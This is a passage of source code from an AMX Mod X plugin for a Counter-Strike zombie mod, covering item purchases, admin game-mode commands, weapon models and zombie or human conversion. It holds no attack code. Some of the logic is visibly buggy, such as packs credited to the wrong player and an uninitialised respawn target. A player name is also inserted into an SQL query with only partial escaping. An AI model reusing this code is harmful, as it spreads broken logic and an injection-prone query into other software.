4855 set_hudmessage(205, 102, 29, -1.00, 0.70, 1, 0.00, 3.00, 2.00, 1.00, -1);
4856 ShowSyncHudMsg(0, g_iEventsHudmessage, "%s bought Sniper!", g_cName[iPlayer]);
4857 client_print_color(iPlayer, print_team_grey, "^4[Zombie Outstanding]^3 %s^1 bought^4 Sniper", g_cName[iPlayer]);
4858 copy(g_cModeRecordings[g_iModeRecordings], 32, g_cName[iPlayer]);
4859 g_iModeRecordings += 1;
4860 g_iSnipers += 1;
4861 }
4862 client_print_color(iPlayer, print_team_grey, "^4[Zombie Outstanding]^1 Sorry but you can't buy right now...");
4863 }
4864 }
4865 case 22:
4866 {
4867 if (g_iExtraItemsPrices[iChoice] > g_iPacks[iPlayer])
4868 {
4869 client_print_color(iPlayer, print_team_grey, "^4[Zombie Outstanding]^1 You don't have enough ammo packs!");
4870 return 0;
4871 }
4872 static i;
4873 static bool:bDone;
4874 static Float:fGameTime;
4875 fGameTime = get_gametime();
4876 bDone = true;
4877 i = 0;
4878 while (i < g_iModeRecordings)
4879 {
4880 if (equali(g_cModeRecordings[i], g_cName[iPlayer], 0))
4881 {
4882 bDone = false;
4883 }
4884 i += 1;
4885 }
4886 if (!bDone)
4887 {
4888 client_print_color(iPlayer, print_team_grey, "^4[Zombie Outstanding]^1 You^3 already bought^1 a game mode this map!");
4889 }
4890 else
4891 {
4892 if (fGameTime - g_fRoundStartTime < 3.0)
4893 {
4894 client_print_color(iPlayer, print_team_grey, "^4[Zombie Outstanding]^1 Please wait at least^4 three seconds^1 after the round begining!");
4895 }
4896 if (g_iRoundsCount > 4 && !g_iRounds[g_iRoundsCount] && !g_iRounds[g_iRoundsCount + -1] && g_bRoundStart)
4897 {
4898 g_bRoundStart = false;
4899 remove_task(550, 0);
4900 StartNemesisMode(iPlayer);
4901 remove_task(700, 0);
4902 g_iPacks[iPlayer] -= g_iExtraItemsPrices[iChoice];
4903 set_hudmessage(205, 102, 29, -1.00, 0.70, 1, 0.00, 3.00, 2.00, 1.00, -1);
4904 ShowSyncHudMsg(0, g_iEventsHudmessage, "%s bought Nemesis!", g_cName[iPlayer]);
4905 client_print_color(iPlayer, print_team_grey, "^4[Zombie Outstanding]^3 %s^1 bought^4 Nemesis", g_cName[iPlayer]);
4906 copy(g_cModeRecordings[g_iModeRecordings], 32, g_cName[iPlayer]);
4907 g_iModeRecordings += 1;
4908 }
4909 client_print_color(iPlayer, print_team_grey, "^4[Zombie Outstanding]^1 Sorry but you can't buy right now...");
4910 }
4911 }
4912 case 23:
4913 {
4914 if (g_iExtraItemsPrices[iChoice] > g_iPacks[iPlayer])
4915 {
4916 client_print_color(iPlayer, print_team_grey, "^4[Zombie Outstanding]^1 You don't have enough ammo packs!");
4917 return 0;
4918 }
4919 static i;
4920 static bool:bDone;
4921 static Float:fGameTime;
4922 fGameTime = get_gametime();
4923 bDone = true;
4924 i = 0;
4925 while (i < g_iModeRecordings)
4926 {
4927 if (equali(g_cModeRecordings[i], g_cName[iPlayer], 0))
4928 {
4929 bDone = false;
4930 }
4931 i += 1;
4932 }
4933 if (!bDone)
4934 {
4935 client_print_color(iPlayer, print_team_grey, "^4[Zombie Outstanding]^1 You^3 already bought^1 a game mode this map!");
4936 }
4937 else
4938 {
4939 if (fGameTime - g_fRoundStartTime < 3.0)
4940 {
4941 client_print_color(iPlayer, print_team_grey, "^4[Zombie Outstanding]^1 Please wait at least^4 three seconds^1 after the round begining!");
4942 }
4943 if (g_iRoundsCount > 2 && !g_iRounds[g_iRoundsCount] && !g_iRounds[g_iRoundsCount + -1] && g_bRoundStart)
4944 {
4945 g_bRoundStart = false;
4946 remove_task(550, 0);
4947 StartAssassinMode(iPlayer);
4948 remove_task(700, 0);
4949 g_iPacks[iPlayer] -= g_iExtraItemsPrices[iChoice];
4950 set_hudmessage(205, 102, 29, -1.00, 0.70, 1, 0.00, 3.00, 2.00, 1.00, -1);
4951 ShowSyncHudMsg(0, g_iEventsHudmessage, "%s bought Assassin!", g_cName[iPlayer]);
4952 client_print_color(iPlayer, print_team_grey, "^4[Zombie Outstanding]^3 %s^1 bought^4 Assassin", g_cName[iPlayer]);
4953 copy(g_cModeRecordings[g_iModeRecordings], 32, g_cName[iPlayer]);
4954 g_iModeRecordings += 1;
4955 }
4956 client_print_color(iPlayer, print_team_grey, "^4[Zombie Outstanding]^1 Sorry but you can't buy right now...");
4957 }
4958 }
4959 case 24:
4960 {
4961 if (g_iExtraItemsPrices[iChoice] > g_iPacks[iPlayer])
4962 {
4963 client_print_color(iPlayer, print_team_grey, "^4[Zombie Outstanding]^1 You don't have enough ammo packs!");
4964 return 0;
4965 }
4966 if ((g_iExtraItemsTeams[iChoice] == 1 && !g_bZombie[iPlayer]) || (g_bZombie[iPlayer] && g_iExtraItemsTeams[iChoice] == 2))
4967 {
4968 client_print_color(iPlayer, print_team_grey, "^4[Zombie Outstanding]^1 This item is not for your team!");
4969 return 0;
4970 }
4971 g_iBlinks[iPlayer] += 5;
4972 g_iPacks[iPlayer] -= g_iExtraItemsPrices[iChoice];
4973 set_hudmessage(205, 102, 29, -1.00, 0.70, 1, 0.00, 3.00, 2.00, 1.00, -1);
4974 ShowSyncHudMsg(0, g_iEventsHudmessage, "%s bought Knife Blinks!", g_cName[iPlayer]);
4975 }
4976 default:
4977 {
4978 }
4979 }
4980 }
4981 return 0;
4982}
4983
4984public CmdMode(iPlayer)
4985{
4986 static Float:fGameTime;
4987 static iAmmoTarget;
4988 static cAmmo[4];
4989 static iAlive;
4990 static iTarget;
4991 static cTarget[32];
4992 static cMode[32];
4993 static iAmmo;
4994 read_argv(0, cMode, 32);
4995 read_argv(1, cTarget, 31);
4996 read_argv(2, cAmmo, 4);
4997 iAlive = GetAliveCount();
4998 iAmmo = clamp(str_to_num(cAmmo), 0, 999999);
4999 iTarget = cmd_target(iPlayer, cTarget, (CMDTARGET_ONLY_ALIVE | CMDTARGET_ALLOW_SELF))
5000 fGameTime = get_gametime();
5001 if (fGameTime - g_fRoundStartTime < 2.0)
5002 {
5003 client_print_color(iPlayer, print_team_grey, "^4[Zombie Outstanding]^1 Please wait at least^4 two seconds^1 after round started!");
5004 console_print(iPlayer, "[Zombie Outstanding] Please wait at least two seconds after round started!");
5005 }
5006 if (get_user_flags ( iPlayer ) & read_flags ( "a" ) && equal(cMode, "amx_ammo") && iTarget && !g_bGaveThisRound[iPlayer] && g_iRoundsCount > 3)
5007 {
5008 client_print_color(0, print_team_grey, "^4[Zombie Outstanding]^3 %s^1: give^4 %d^1 Packs to^3 %s^1", g_cName[iPlayer], iAmmo, g_cName[iTarget]);
5009 g_iPacks[iPlayer] += iAmmo;
5010 }
5011 if (get_user_flags ( iPlayer ) & read_flags ( "h" ) && equal(cMode, "amx_human") && iTarget && !g_bRoundStart && iAlive > 2 && GetHumans() && GetZombies() > 1 && !g_bRoundEnd && !g_iRoundType && g_iRoundsCount > 3)
5012 {
5013 if (!g_iPlayerType[iTarget] && !g_bZombie[iTarget])
5014 {
5015 return 0;
5016 }
5017 MakeHuman(iTarget, false, false);
5018 client_print_color(0, print_team_grey, "^4[Zombie Outstanding]^3 %s^1 made^3 %s^1 a^4 Human", g_cName[iPlayer], g_cName[iTarget]);
5019 log_to_file("ZombieOutstanding.log", "%s made %s a Human", g_cName[iPlayer], g_cName[iTarget]);
5020 }
5021 if (get_user_flags ( iPlayer ) & read_flags ( "6" ) && equal(cMode, "amx_respawn") && iAmmoTarget && !g_bAlive[iAmmoTarget] && !g_bRoundStart && iAlive > 1 && GetAliveCount() && GetHumans() && GetZombies() && !g_iRoundType && !g_bRoundEnd && g_iRoundsCount > 3)
5022 {
5023 ExecuteHamB(Ham_CS_RoundRespawn, iAmmoTarget);
5024 client_print_color(0, print_team_grey, "^4[Zombie Outstanding]^3 %s^1 respawn^3 %s", g_cName[iPlayer], g_cName[iAmmoTarget]);
5025 log_to_file("ZombieOutstanding.log", "%s respawn %s", g_cName[iPlayer], g_cName[iAmmoTarget]);
5026 }
5027 if (get_user_flags ( iPlayer ) & read_flags ( "z" ) && equal(cMode, "amx_zombie") && iTarget && iAlive > 2 && GetHumans() > 1 && GetZombies() && !g_bRoundEnd && !g_iRoundType && g_iRoundsCount > 3)
5028 {
5029 if (g_bZombie[iTarget] && !g_iPlayerType[iTarget])
5030 {
5031 return 0;
5032 }
5033 if (g_bRoundStart)
5034 {
5035 StartNormalMode(iTarget);
5036 remove_task(700, 0);
5037 g_bRoundStart = false;
5038 remove_task(550, 0);
5039 client_print_color(0, print_team_grey, "^4[Zombie Outstanding]^3 %s^1 made^3 %s^1 a^4 Zombie^1 [^4 First Zombie^1 ]", g_cName[iPlayer], g_cName[iTarget]);
5040 log_to_file("ZombieOutstanding.log", "%s made %s a Zombie [First Zombie]", g_cName[iPlayer], g_cName[iTarget]);
5041 }
5042 else
5043 {
5044 MakeZombie(0, iTarget, false, false, false);
5045 client_print_color(0, print_team_grey, "^4[Zombie Outstanding]^3 %s^1 made^3 %s^1 a^4 Zombie", g_cName[iPlayer], g_cName[iTarget]);
5046 log_to_file("ZombieOutstanding.log", "%s made %s a Zombie", g_cName[iPlayer], g_cName[iTarget]);
5047 }
5048 }
5049 if (equal(cMode, "amx_sniper") && iTarget && g_bRoundStart && get_user_flags ( iPlayer ) & read_flags ( "x" ) && g_iRoundsCount > 3)
5050 {
5051 StartSniperMode(iTarget);
5052 remove_task(700, 0);
5053 g_bRoundStart = false;
5054 remove_task(550, 0);
5055 client_print_color(0, print_team_grey, "^4[Zombie Outstanding]^3 %s^1 made^3 %s^1 a^4 Sniper", g_cName[iPlayer], g_cName[iTarget]);
5056 log_to_file("ZombieOutstanding.log", "%s made %s a Sniper", g_cName[iPlayer], g_cName[iTarget]);
5057 }
5058 if (equal(cMode, "amx_survivor") && iTarget && g_bRoundStart && get_user_flags ( iPlayer ) & read_flags ( "v" ) && g_iRoundsCount > 3)
5059 {
5060 StartSurvivorMode(iTarget);
5061 remove_task(700, 0);
5062 g_bRoundStart = false;
5063 remove_task(550, 0);
5064 client_print_color(0, print_team_grey, "^4[Zombie Outstanding]^3 %s^1 made^3 %s^1 a^4 Survivor", g_cName[iPlayer], g_cName[iTarget]);
5065 log_to_file("ZombieOutstanding.log", "%s made %s a Survivor", g_cName[iPlayer], g_cName[iTarget]);
5066 }
5067 if (equal(cMode, "amx_nemesis") && iTarget && g_bRoundStart && get_user_flags ( iPlayer ) & read_flags ( "n" ) && g_iRoundsCount > 3)
5068 {
5069 StartNemesisMode(iTarget);
5070 remove_task(700, 0);
5071 g_bRoundStart = false;
5072 remove_task(550, 0);
5073 client_print_color(0, print_team_grey, "^4[Zombie Outstanding]^3 %s^1 made^3 %s^1 a^4 Nemesis", g_cName[iPlayer], g_cName[iTarget]);
5074 log_to_file("ZombieOutstanding.log", "%s made %s a Nemesis", g_cName[iPlayer], g_cName[iTarget]);
5075 }
5076 if (equal(cMode, "amx_assassin") && iTarget && g_bRoundStart && get_user_flags ( iPlayer ) & read_flags ( "b" ) && g_iRoundsCount > 3)
5077 {
5078 StartAssassinMode(iTarget);
5079 remove_task(700, 0);
5080 g_bRoundStart = false;
5081 remove_task(550, 0);
5082 client_print_color(0, print_team_grey, "^4[Zombie Outstanding]^3 %s^1 made^3 %s^1 an^4 Assassin", g_cName[iPlayer], g_cName[iTarget]);
5083 log_to_file("ZombieOutstanding.log", "%s made %s an Assassin", g_cName[iPlayer], g_cName[iTarget]);
5084 }
5085 if (equal(cMode, "amx_swarm") && g_bRoundStart && get_user_flags ( iPlayer ) & read_flags ( "s" ) && iAlive > 9 && g_iLastMode != 64 && g_iRoundsCount > 3)
5086 {
5087 StartSwarmMode(true);
5088 remove_task(700, 0);
5089 g_bRoundStart = false;
5090 remove_task(550, 0);
5091 client_print_color(0, print_team_grey, "^4[Zombie Outstanding]^3 %s^1 started^4 Swarm^1 round!", g_cName[iPlayer]);
5092 log_to_file("ZombieOutstanding.log", "%s started Swarm round", g_cName[iPlayer]);
5093 }
5094 if (equal(cMode, "amx_plague") && g_bRoundStart && get_user_flags ( iPlayer ) & read_flags ( "p" ) && iAlive > 9 && g_iLastMode != 32 && g_iRoundsCount > 3)
5095 {
5096 StartPlagueMode(true);
5097 remove_task(700, 0);
5098 g_bRoundStart = false;
5099 remove_task(550, 0);
5100 client_print_color(0, print_team_grey, "^4[Zombie Outstanding]^3 %s^1 started^4 Plague^1 round!", g_cName[iPlayer]);
5101 log_to_file("ZombieOutstanding.log", "%s started Plague round", g_cName[iPlayer]);
5102 }
5103 if (equal(cMode, "amx_armageddon") && g_bRoundStart && get_user_flags ( iPlayer ) & read_flags ( "j" ) && iAlive > 9 && g_iLastMode != 128 && g_iRoundsCount > 3)
5104 {
5105 StartArmageddonMode(true);
5106 remove_task(700, 0);
5107 g_bRoundStart = false;
5108 remove_task(550, 0);
5109 client_print_color(0, print_team_grey, "^4[Zombie Outstanding]^3 %s^1 started^4 Armageddon^1 round!", g_cName[iPlayer]);
5110 log_to_file("ZombieOutstanding.log", "%s started Armageddon round", g_cName[iPlayer]);
5111 }
5112 if (equal(cMode, "amx_nightmare") && g_bRoundStart && get_user_flags ( iPlayer ) & read_flags ( "2" ) && iAlive > 9 && g_iLastMode != 256 && g_iRoundsCount > 3)
5113 {
5114 StartNightmareMode(true);
5115 remove_task(700, 0);
5116 g_bRoundStart = false;
5117 remove_task(550, 0);
5118 client_print_color(0, print_team_grey, "^4[Zombie Outstanding]^3 %s^1 started^4 Nightmare^1 round!", g_cName[iPlayer]);
5119 log_to_file("ZombieOutstanding.log", "%s started Nightmare round", g_cName[iPlayer]);
5120 }
5121 if (equal(cMode, "amx_assassins_vs_snipers") && g_bRoundStart && get_user_flags ( iPlayer ) & read_flags ( "9" ) && iAlive > 9 && g_iLastMode != 512 && g_iRoundsCount > 3)
5122 {
5123 StartAssassinsVsSnipersMode(true);
5124 remove_task(700, 0);
5125 g_bRoundStart = false;
5126 remove_task(550, 0);
5127 client_print_color(0, print_team_grey, "^4[Zombie Outstanding]^3 %s^1 started^4 Assassins vs Snipers^1 round!", g_cName[iPlayer]);
5128 log_to_file("ZombieOutstanding.log", "%s started Assassins vs Snipers round", g_cName[iPlayer]);
5129 }
5130 if (equal(cMode, "amx_multiple") && g_bRoundStart && get_user_flags ( iPlayer ) & read_flags ( "0" ) && iAlive > 9 && g_iLastMode != 16 && g_iRoundsCount > 3)
5131 {
5132 StartMultiMode(true);
5133 remove_task(700, 0);
5134 g_bRoundStart = false;
5135 remove_task(550, 0);
5136 client_print_color(0, print_team_grey, "^4[Zombie Outstanding]^3 %s^1 started^4 Multiple Infections^1 round!", g_cName[iPlayer]);
5137 log_to_file("ZombieOutstanding.log", "%s started Multiple Infections round", g_cName[iPlayer]);
5138 }
5139 return 0;
5140}
5141
5142CheckLastPlayer(iPlayer)
5143{
5144 if (g_bRoundEnd || task_exists(550, 0))
5145 {
5146 return 0;
5147 }
5148 static i;
5149 static iPlayersNum;
5150 iPlayersNum = GetAliveCount();
5151 if (iPlayersNum < 2)
5152 {
5153 return 0;
5154 }
5155 if (g_bZombie[iPlayer] && GetZombies() == 1)
5156 {
5157 if (GetHumans() == 1 && GetCTs() == 1)
5158 {
5159 return 0;
5160 }
5161 do {
5162 } while (iPlayer == (i = GetRandomAlive()));
5163 client_print_color(iPlayer, print_team_grey, "^4[Zombie Outstanding]^1 Last zombie,^3 %s^1 disconnected,^4 %s^1 is the last zombie!", g_cName[iPlayer], g_cName[i]);
5164 if (g_iPlayerType[iPlayer] & 1)
5165 {
5166 MakeZombie(0, i, false, true, false);
5167 set_user_health(i, get_user_health(iPlayer));
5168 }
5169 else
5170 {
5171 if (g_iPlayerType[iPlayer] & 2)
5172 {
5173 MakeZombie(0, i, false, false, true);
5174 set_user_health(i, get_user_health(iPlayer));
5175 }
5176 MakeZombie(0, i, false, false, false);
5177 }
5178 }
5179 else
5180 {
5181 if (!g_bZombie[iPlayer] && GetHumans() == 1)
5182 {
5183 if (GetZombies() == 1 && GetTs() == 1)
5184 {
5185 return 0;
5186 }
5187 do {
5188 } while (iPlayer == (i = GetRandomAlive()));
5189 client_print_color(iPlayer, print_team_grey, "^4[Zombie Outstanding]^1 Last human,^3 %s^1 disconnected,^4 %s^1 is the last human!", g_cName[iPlayer], g_cName[i]);
5190 if (g_iPlayerType[iPlayer] & 4)
5191 {
5192 MakeHuman(i, true, false);
5193 set_user_health(i, get_user_health(iPlayer));
5194 }
5195 if (g_iPlayerType[iPlayer] & 8)
5196 {
5197 MakeHuman(i, false, true);
5198 set_user_health(i, get_user_health(iPlayer));
5199 }
5200 MakeHuman(i, false, false);
5201 }
5202 }
5203 return 0;
5204}
5205
5206public EventCurWeapon(iPlayer)
5207{
5208 g_iWeapon[iPlayer] = read_data(2);
5209 if (g_bZombie[iPlayer])
5210 {
5211 switch (g_iWeapon[iPlayer])
5212 {
5213 case CSW_HEGRENADE:
5214 {
5215 set_pev(iPlayer, pev_viewmodel2, "models/ZombieOutstanding/z_out_v_grenade_infection.mdl");
5216 set_pev(iPlayer, pev_weaponmodel2, "models/ZombieOutstanding/z_out_p_grenade_infection.mdl");
5217 }
5218 case CSW_KNIFE:
5219 {
5220 if (!g_iPlayerType[iPlayer])
5221 {
5222 set_pev(iPlayer, pev_viewmodel2, g_cZombieClaws[g_iZombieClass[iPlayer]]);
5223 }
5224 else
5225 {
5226 if (g_iPlayerType[iPlayer] & 1)
5227 {
5228 set_pev(iPlayer, pev_viewmodel2, "models/ZombieOutstanding/z_out_nemesis_claws.mdl");
5229 }
5230 if (g_iPlayerType[iPlayer] & 2)
5231 {
5232 set_pev(iPlayer, pev_viewmodel2, "models/ZombieOutstanding/z_out_assassin_claws.mdl");
5233 }
5234 }
5235 set_pev(iPlayer, pev_weaponmodel2, "");
5236 }
5237 default:
5238 {
5239 }
5240 }
5241 }
5242 else
5243 {
5244 if (get_user_jetpack(iPlayer) && g_iWeapon[iPlayer] == CSW_KNIFE)
5245 {
5246 entity_set_string(iPlayer,EV_SZ_viewmodel, "models/v_egon.mdl" );
5247 entity_set_string(iPlayer,EV_SZ_weaponmodel, "models/p_egon.mdl" );
5248 }
5249 else
5250 {
5251 if (g_iPlayerType[iPlayer] & 8 && g_iWeapon[iPlayer] == CSW_AWP)
5252 {
5253 set_pev(iPlayer, pev_viewmodel2, "models/ZombieOutstanding/z_out_v_awp_sniper.mdl");
5254 set_pev(iPlayer, pev_weaponmodel2, "models/ZombieOutstanding/z_out_p_awp_sniper.mdl");
5255 }
5256 if (g_bGolden[iPlayer] && g_iWeapon[iPlayer] == CSW_AK47)
5257 {
5258 set_pev(iPlayer, pev_viewmodel2, "models/ZombieOutstanding/v_golden_ak47.mdl");
5259 set_pev(iPlayer, pev_weaponmodel2, "models/ZombieOutstanding/p_golden_ak47.mdl");
5260 }
5261 if (g_bGoldenDeagle[iPlayer] && g_iWeapon[iPlayer] == CSW_DEAGLE)
5262 {
5263 set_pev(iPlayer, pev_viewmodel2, "models/ZombieOutstanding/v_golden_deagle.mdl");
5264 set_pev(iPlayer, pev_weaponmodel2, "models/ZombieOutstanding/p_golden_deagle.mdl");
5265 }
5266 }
5267 }
5268 return 0;
5269}
5270
5271public UpdateWeapon(iPlayer)
5272{
5273 g_iWeapon[iPlayer] = read_data(2);
5274 return 0;
5275}
5276
5277public message_cur_weapon(msg_id, msg_dest, msg_entity)
5278{
5279 if (!g_bUnlimitedClip[msg_entity])
5280 return;
5281
5282 if (!is_user_alive(msg_entity) || get_msg_arg_int(1) != 1)
5283 return;
5284
5285 static weapon, clip
5286 weapon = get_msg_arg_int(2)
5287 clip = get_msg_arg_int(3)
5288
5289 if (MAXCLIP[weapon] > 2)
5290 {
5291 set_msg_arg_int(3, get_msg_argtype(3), MAXCLIP[weapon])
5292
5293 if (clip < 2)
5294 {
5295 static wname[32], weapon_ent
5296 get_weaponname(weapon, wname, sizeof wname - 1)
5297 weapon_ent = fm_find_ent_by_owner(-1, wname, msg_entity)
5298
5299 fm_set_weapon_ammo(weapon_ent, MAXCLIP[weapon])
5300 }
5301 }
5302}
5303
5304GetCTs()
5305{
5306 static iCount;
5307 static i;
5308 iCount = 0;
5309 i = 1;
5310 while (g_iMaxClients + 1 > i)
5311 {
5312 if (g_bConnected[i] && fm_cs_get_user_team(i) == FM_CS_TEAM_CT)
5313 {
5314 iCount += 1;
5315 }
5316 i += 1;
5317 }
5318 return iCount;
5319}
5320
5321GetTs()
5322{
5323 static iCount;
5324 static i;
5325 iCount = 0;
5326 i = 1;
5327 while (g_iMaxClients + 1 > i)
5328 {
5329 if (g_bConnected[i] && fm_cs_get_user_team(i) == FM_CS_TEAM_T)
5330 {
5331 iCount += 1;
5332 }
5333 i += 1;
5334 }
5335 return iCount;
5336}
5337
5338GetAliveCount()
5339{
5340 static iCount;
5341 static i;
5342 iCount = 0;
5343 i = 1;
5344 while (g_iMaxClients + 1 > i)
5345 {
5346 if (g_bAlive[i])
5347 {
5348 iCount += 1;
5349 }
5350 i += 1;
5351 }
5352 return iCount;
5353}
5354
5355GetRandomAlive()
5356{
5357 static j;
5358 static i;
5359 static iPlayers[32];
5360 j = 0;
5361 i = 1;
5362 while (g_iMaxClients + 1 > i)
5363 {
5364 if (g_bAlive[i])
5365 {
5366 iPlayers[j] = i;
5367 j += 1;
5368 }
5369 i += 1;
5370 }
5371 return iPlayers[random_num(0, j + -1)];
5372}
5373
5374GetZombies()
5375{
5376 static iNum;
5377 static i;
5378 iNum = 0;
5379 i = 1;
5380 while (g_iMaxClients + 1 > i)
5381 {
5382 if (g_bAlive[i] && g_bZombie[i])
5383 {
5384 iNum += 1;
5385 }
5386 i += 1;
5387 }
5388 return iNum;
5389}
5390
5391GetHumans()
5392{
5393 static iNum;
5394 static i;
5395 iNum = 0;
5396 i = 1;
5397 while (g_iMaxClients + 1 > i)
5398 {
5399 if (g_bAlive[i] && !g_bZombie[i])
5400 {
5401 iNum += 1;
5402 }
5403 i += 1;
5404 }
5405 return iNum;
5406}
5407
5408public client_infochanged(iPlayer)
5409{
5410 if (!g_bConnected[iPlayer])
5411 {
5412 return 0;
5413 }
5414 static cName[32];
5415 static Name[64] = { 0, ... }, queryData[32] = { 0, ... }, Float:finalChange[33] = { 0.0, ... }, Float:gameTime = 0.0;
5416 static newn[64], oldn[64]
5417 get_user_name(iPlayer,oldn,63)
5418 get_user_info(iPlayer,"name",newn,63)
5419 if(!equali(oldn,newn)&&strlen(newn)>0)
5420 {
5421 new vlt=nvault_open("points")
5422 if (vlt != -1)
5423 {
5424 g_iPoints[iPlayer]=nvault_get(vlt,newn)
5425 nvault_close(vlt)
5426 vlt=-1
5427 }
5428 }
5429 get_user_info(iPlayer, "name", cName, 31);
5430 if (!equal(g_cName[iPlayer], cName, 0))
5431 {
5432 copy(g_cName[iPlayer], 31, cName);
5433 }
5434 if (is_user_connected(iPlayer) == 1 && is_user_bot(iPlayer) == 0 && is_user_hltv(iPlayer) == 0)
5435 {
5436 get_user_info(iPlayer, "name", Name, charsmax(Name));
5437
5438 replace_all(Name, charsmax(Name), "`", "*");
5439 replace_all(Name, charsmax(Name), "'", "*");
5440 replace_all(Name, charsmax(Name), "\", "*");
5441
5442 if (equali(Name, g_Name[iPlayer]) == 0)
5443 {
5444 resetPlayer(iPlayer);
5445
5446 gameTime = get_gametime();
5447
5448 if (gameTime < finalChange[iPlayer])
5449 {
5450 server_cmd("kick #%d Stop changing your name so fast!", get_user_userid(iPlayer));
5451 }
5452
5453 else
5454 {
5455 finalChange[iPlayer] = gameTime + 7.5;
5456
5457 num_to_str(iPlayer, queryData, charsmax(queryData));
5458
5459 formatex(g_Name[iPlayer], charsmax(g_Name[]), "%s", Name);
5460
5461 get_user_authid(iPlayer, g_Steam[iPlayer], charsmax(g_Steam[]));
5462 get_user_ip(iPlayer, g_Ip[iPlayer], charsmax(g_Ip[]), 1);
5463
5464 formatex(g_Query, charsmax(g_Query), "SELECT Score, Kills, Deaths, headShots, \
5465 Time, timeString, Seen, seenString, kpdRatio, kmdValue FROM Players WHERE Name = '%s';", \
5466 g_Name[iPlayer]);
5467
5468 SQL_ThreadQuery(g_Tuple, "retrieveOrCreatePlayer", g_Query, queryData, sizeof(queryData));
5469 }
5470 }
5471 }
5472 set_task(5.0, "TaskCheckName", iPlayer, "", 0, "", 0);
5473 return 0;
5474}
5475
5476
5477MakeZombie(iAttacker, iVictim, bool:bSilent, bool:bNemesis, bool:bAssassin)
5478{
5479 if (g_iZombieNextClass[iVictim] == -1)
5480 {
5481 set_task(0.20, "ShowMenuClasses", iVictim, "", 0, "", 0);
5482 }
5483 g_iZombieClass[iVictim] = g_iZombieNextClass[iVictim];
5484 if (g_iZombieClass[iVictim] == -1)
5485 {
5486 g_iZombieClass[iVictim] = 0;
5487 }
5488 if (get_user_jetpack(iVictim))
5489 {
5490 user_drop_jetpack(iVictim, 1);
5491 }
5492 set_pev(iVictim, pev_effects, pev(iVictim, pev_effects) &~ EF_BRIGHTLIGHT)
5493 set_pev(iVictim, pev_effects, pev(iVictim, pev_effects) &~ EF_NODRAW)
5494 g_bFlash[iVictim] = true;
5495 g_bFlashEnabled[iVictim] = true;
5496 g_bZombie[iVictim] = true;
5497 g_bNoDamage[iVictim] = false;
5498 g_iBurningDuration[iVictim] = 0;
5499 g_iPlayerType[iVictim] = 0;
5500 g_cClass[iVictim] = g_cZombieClasses[g_iZombieClass[iVictim]];
5501 set_user_rendering( iVictim, kRenderFxNone, 0, 0, 0, kRenderNormal, 0 );
5502 remove_task(iVictim + 200, 0);
5503 remove_task(iVictim + 250, 0);
5504 if (iAttacker)
5505 {
5506 SendDeathMsg ( iAttacker, iVictim );
5507 FixDeadAttrib ( iVictim );
5508 UpdateFrags ( iAttacker, iVictim, 1, 1, 1 );
5509 g_iPacks[iAttacker]++;
5510 if (g_iZombieClass[iAttacker] == 6)
5511 {
5512 set_user_health(iAttacker, get_user_health(iAttacker) + 250);
5513 set_user_rendering( iAttacker, kRenderFxGlowShell, 255, 10, 10, kRenderNormal, 0 );
5514 set_user_footsteps( iAttacker, 1 );
5515 message_begin(MSG_ONE_UNRELIABLE, get_user_msgid("ScreenFade"), _, iAttacker)
5516 write_short(4096)
5517 write_short(2048)
5518 write_short(0)
5519 write_byte(255)
5520 write_byte(0)
5521 write_byte(0)
5522 write_byte(255)
5523 message_end()
5524 set_task(3.00, "TaskRemoveRender", iAttacker, "", 0, "", 0);
5525 set_hudmessage(0, 255, 0, -1.00, 0.10, 1, 0.00, 1.75, 1.00, 1.00, -1);
5526 ShowSyncHudMsg(iAttacker, g_iRegenerationSync, "== HUNTER ==^n!!!Regeneration: +250 HP Gained!!!");
5527 }
5528 }
5529 if (!bSilent)
5530 {
5531 if (bNemesis)
5532 {
5533 g_iPlayerType[iVictim] |= 1;
5534 set_user_health(iVictim, 150000);
5535 g_cClass[iVictim] = "Nemesis"
5536 }
5537 else if (bAssassin)
5538 {
5539 g_iPlayerType[iVictim] |= 2;
5540 set_user_health(iVictim, 17500);
5541 g_cClass[iVictim] = "Assassin"
5542 }
5543 else if (GetZombies() == 1 && !g_iPlayerType[iVictim])
5544 {
5545 set_user_health(iVictim, 10500);
5546 EmitSound(iVictim, CHAN_AUTO, g_cZombieInfectSounds[random_num(0, 4)]);
5547 }
5548 else
5549 {
5550 set_user_health(iVictim, g_iZombieHealths[g_iZombieClass[iVictim]]);
5551 EmitSound(iVictim, CHAN_AUTO, g_cZombieInfectSounds[random_num(0, 4)]);
5552 set_hudmessage(255, 0, 0, 0.05, 0.45, 0, 0.00, 5.00, 1.00, 1.00, -1);
5553 if (iAttacker)
5554 ShowSyncHudMsg(0, g_iAntidoteSync, "%s's brains have been eaten by %s...", g_cName[iVictim], g_cName[iAttacker]);
5555 else
5556 ShowSyncHudMsg(0, g_iAntidoteSync, "%s's brains have been eaten...", g_cName[iVictim]);
5557 }
5558 }
5559 else
5560 {
5561 set_user_health(iVictim, g_iZombieHealths[g_iZombieClass[iVictim]]);
5562 }
5563 if (fm_cs_get_user_team(iVictim) != FM_CS_TEAM_T)
5564 {
5565 remove_task ( iVictim + TASK_TEAM );
5566 fm_cs_set_user_team ( iVictim, FM_CS_TEAM_T);
5567 fm_user_team_update ( iVictim );
5568 }
5569 if (g_iPlayerType[iVictim] & 1)
5570 {
5571 fm_set_rendering (iVictim, kRenderFxGlowShell, 255, 0, 0, kRenderNormal, 25);
5572 }
5573 static Float:fCurrentTime;
5574 fCurrentTime = get_gametime();
5575 if (fCurrentTime - g_fLastChangedModel >= 0.25)
5576 {
5577 ChangeModel(iVictim + 250);
5578 g_fLastChangedModel = fCurrentTime;
5579 }
5580 else
5581 {
5582 set_task(g_fLastChangedModel + 0.25 - fCurrentTime, "ChangeModel", iVictim + 250, "", 0, "", 0);
5583 g_fLastChangedModel = g_fLastChangedModel + 0.25;
5584 }
5585 cs_set_user_zoom(iVictim, CS_RESET_ZOOM, 1);
5586 set_pev (iVictim, pev_armorvalue, 0.0);
5587 drop_weapons ( iVictim, 1 );
5588 drop_weapons ( iVictim, 2 );
5589 strip_user_weapons(iVictim);
5590 give_item(iVictim, "weapon_knife");
5591 ExecuteHamB(Ham_Item_PreFrame, iVictim);
5592 InfectionEffects ( iVictim );
5593 set_task(0.10, "TaskFlash", iVictim + 350, "", 0, "b", 0);
5594 return 0;
5595}
5596
5597MakeHuman(iPlayer, bool:bSurvivor, bool:bSniper)
5598{
5599 remove_task(iPlayer + 250, 0);
5600 remove_task(iPlayer + 200, 0);
5601 remove_task(iPlayer + 350, 0);
5602 g_bZombie[iPlayer] = false;
5603 g_bFlashEnabled[iPlayer] = false;
5604 g_bFlash[iPlayer] = false;
5605 g_bNoDamage[iPlayer] = false;
